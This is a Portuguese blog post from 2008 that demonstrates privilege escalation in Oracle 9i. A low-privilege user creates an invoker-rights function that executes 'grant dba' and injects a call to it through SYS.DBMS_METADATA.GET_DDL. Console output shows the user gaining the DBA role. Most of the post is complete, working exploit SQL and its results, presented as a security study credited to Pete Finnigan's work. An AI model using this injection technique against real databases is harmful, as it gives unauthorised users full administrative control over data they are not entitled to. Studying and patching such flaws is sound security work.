Como conseguir privilégio de DBA no oracle 9i (falha de segurança)
13/10/2008
Neste post vamos mostrar como conseguir a role de DBA com oracle 9i tendo apenas permissão de CONNECT e RESOURCE. Utilizamos a versão 9.2.0.4.0 para realizar o estudo abaixo. Este post é baseado no documento de Pete Finnigan entitulado de “Many ways to become DBA”.
Primeiramente vamos ver a versão exata que estamos usando:
sys@ORA9R2> select * from v$version; BANNER ---------------------------------------------------------------- Oracle9i Enterprise Edition Release 9.2.0.4.0 PL/SQL Release 9.2.0.4.0 - Production CORE 9.2.0.3.0 Production TNS for Linux: Version 9.2.0.4.0 - Production NLSRTL Version 9.2.0.4.0 - Production
Criação do usuário
Neste exemplo, vamos criar o usuário que iremos transformar em DBA. Chamaremos o usuário de TESTUSER e daremos apenas acesso de CONNECT e RESOURCE pra ele!
sys@ORA9R2> create user testUser identified by testUser; User created. sys@ORA9R2> grant connect, resource to testUser; Grant succeeded. sys@ORA9R2> connect testUser/testUser Connected. testuser@ORA9R2> select * from user_role_privs; USERNAME GRANTED_ROLE ADM DEF OS_ -------- ------------ --- --- --- TESTUSER CONNECT NO YES NO TESTUSER RESOURCE NO YES NO testuser@ORA9R2>
Ganhar privilégio de DBA
Agora que o usuário está criado e tem pouquíssimos privilégios, vamos usar uma falha da versão 9i para obter a role DBA. Esta falha envolve a criação de uma função e o uso de uma vulnerabilidade da package DBMS_METADATA.
Criação da função
testuser@ORA9R2> create or replace function testuser.hack return varchar2 2 authid current_user is 3 pragma autonomous_transaction; 4 begin 5 execute immediate 'grant dba to testUser'; 6 return ''; 7 end; 8 / Function created.
Execução da Função
testuser@ORA9R2> select sys.dbms_metadata.get_ddl('''||testuser.hack()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||testuser.hack()||' for parameter OBJECT_TYPE in
function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1
no rows selected
E agora, a mágica!
testuser@ORA9R2> select * from user_role_privs; USERNAME GRANTED_ROLE ADM DEF OS_ -------- ------------ --- --- --- TESTUSER CONNECT NO YES NO TESTUSER DBA NO YES NO TESTUSER RESOURCE NO YES NO testuser@ORA9R2>
Voalá! Role de DBA para TESTUSER !
Comentários aqui
